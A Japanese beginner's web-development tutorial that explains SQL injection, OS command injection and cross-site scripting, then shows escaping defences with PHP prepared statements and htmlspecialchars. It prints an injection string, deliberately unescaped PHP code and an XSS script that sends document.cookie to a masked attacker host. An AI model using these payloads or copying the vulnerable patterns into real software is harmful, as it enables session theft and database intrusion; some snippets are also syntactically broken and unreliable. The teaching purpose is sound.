【挫折させないWebアプリ開発講座11】アプリへの攻撃事例とその対策

いよいよWebアプリ開発講座も第10回。あと2回なのでがんばっていきましょう!

今回はセキュリティ編。地味だけど、実はかなり重要な部分なのでこれだけでも何冊も本が書けてしまいます。

この記事ではメジャーな攻撃方法の対策を指南していくので、初心者であっても最低限この記事の内容は押さえておいた方が無難なアプリになります。

Webアプリへの攻撃事例

SQLインジェクション

みなさんSQL文は覚えていますね?そう、データベースとのやりとりをする命令文です。

SQLインジェクションとは↓のようなフォームからユーザーがSQL文を入力する事でデータベースの中身を取得したり、削除したりするクラッキング手法です。

スクリーンショット 2017 06 11 19 27 47
  • ハッキングは善意でプログラムを攻略し、改善すること。
  • クラッキングは悪意をもってプログラムを改変すること。

おそらく何のことかわからないと思うので、前回利用したSQL文を元に例を挙げてみましょう。

ユーザーからidの数値をもらってその順番に対応する名前を表示するSQL文があるとします・・・


$id = $_POST['id'];
 
//この文はprepareで対策ができていますので、prepareを外します。
//$stmt = $pdo -> prepare("SELECT * FROM name WHERE id=:id");
//prepareについては後半で解説

$stmt = SELECT * FROM name WHERE id = "$id";
 
$pdo = NULL;

こういったユーザーから$_POST[‘id’](通し番号)を受け取って、SQL文に代入する際にこちらの意図通りに数字を入力するわけではなく、

" OR 1=1--

という文字列が入力されるとどうなるでしょうか?その時のSQL文は

$stmt = SELECT * FROM name WHERE id = "" OR 1=1--;
Webアプリ講座データベース操作編 001

このような攻撃手法がSQLインジェクションです。

DB攻撃の中ではSQLインジェクションによる被害が最も多い。注意してください

OSコマンドインジェクション

こちらの攻撃手法もSQLインジェクションと同じようにフォームから不正な指示を送ります。

SQLインジェクションと違うのは、あなたのパソコン自体を操作されてしまうことです。

みなさんコマンドプロンプトって聞いたことありますか?

Windowsの黒い画面のやつです。Macだとこんな感じ

スクリーンショット 2017 06 20 10 37 16

コマンドプロンプトに正しいコマンドを入力するとOSを操作できるのは知っていますか?

例えばフォルダの中を覗いたり、新しくフォルダを作ったり、ファイルを削除したりとパソコン全ての操作ができてしまうわけです。

そして実はphpなどのWeb言語からコマンド操作を行うことができるのです。そう、察しのいいあなたはわかったはず。

攻撃者はWebブラウザを通じてあなたのパソコンへコマンドを送って操作ができてしまうのです。

一時期流行ったOS破壊ウイルスはOS自体のファイルを消す命令が入ったウイルス。開いたら最後、OSが起動しなくなりましたね。

例を挙げてみると

  1. フォームから不正な命令を送信
  2. 不正な命令を受信する
  3. 受信者のパソコンで命令が実行される

不正は命令はフォルダごと破壊することも可能。下のコマンドでtestという名前のフォルダを削除できてしまうんですね。こんな簡単なコマンドでです。

スクリーンショット 2017 06 20 10 37 16

クロスサイトスクリプティング(XSS)

クロスサイトスクリティピングとはクロスサイト(別のウェブサイト)にスクリプト(javascript)を使ってデータを流出させたりする手法になります。

XSSの中にも様々な種類のものがありますが、最もメジャーな被害がなりすましログインです。

ログイン型のウェブサービスなんかだとクッキーというユーザー1人1人に与えられるカギのようなものを盗まれるという仕組みです。

<!--?php echo $_POST['name'];?-->

というコードの書き方をしてしまったとしましょう。これはユーザーから受け取った値を直接ブラウザに出力しているコードになりますね。

<script type=”text/javascript” >
document.location=”http://●●●●●.com/script.cgi?cookie=”+document.cookie;
</script>

次に対策編で書きますが、対策を施してないサイトに上記のスクリプトを埋め込まれるとログインに使われているクッキーが攻撃者に知られてしまうんです・・・

特殊文字を無効化して対策

解説した3つの攻撃手法はいずれも入力フォームに悪意のあるプログラムコードを埋め込むものでしたね。

そこで共通する対策としては’ ” < > などの特殊文字を特殊文字として認識させない事が最も良い対策になります。

特殊文字を無効化することをエスケープ処理と言います。

SQL,OSインジェクション対策

実はここまでの講座で実施できています!

以前のDBへ名前を登録する解説でprepareとbindvalueは呪文と思い、とりあえず書け(笑)と強制しましたが、特殊文字を無効化する効果があったのです。

Webアプリ講座データベース操作編 003

prepare(プリペアドステートメント)の中に囲まれた特殊文字を全て無効化されます。

Webアプリ講座データベース操作編 004

そしてbindvalueは型を固定化するので、2重特殊文字対策となっています。

変数には文字列型、数値型、少数型など一定のルールを定めることができるんです。例えば受け取る名前を文字列型に固定(Bind)してあげると特殊文字としては認識されない=無効化というわけです!

XSS対策(PHP編)

こちらのSQLインジェクション対策と同じようにエスケープ処理で対策が可能です。

ブラウザ上にjavascriptが出力されないようにjavascriptを無効化してあげます。

$str = htmlspecialchars($str, ENT_QUOTES, 'UTF-8');

$strをブラウザに出力したい場合、htmlspecialcharsと書いてあげることで、phpが自動的に特殊文字列を無効化してくれる便利な機能が組み込まれている。

これは全ての出力に対して書いた方がいい処理なので、忘れずに書こう!

まとめ&次回予告

このようにWebアプリを外部公開しようとするとセキュリティの勉強も行うことになるので、かなりのスキルアップになりますね!

これからの時代はセキュリティに力を入れる企業も多いので、この記事でセキュリティに興味が沸いたらどんどん調べてみてください。

そして次回はWebアプリをもっと使いやすくするために画面を変更していきます。そして最後にセキュリティ部分を修正して完了なので、次回もお楽しみに!

この記事をシェアする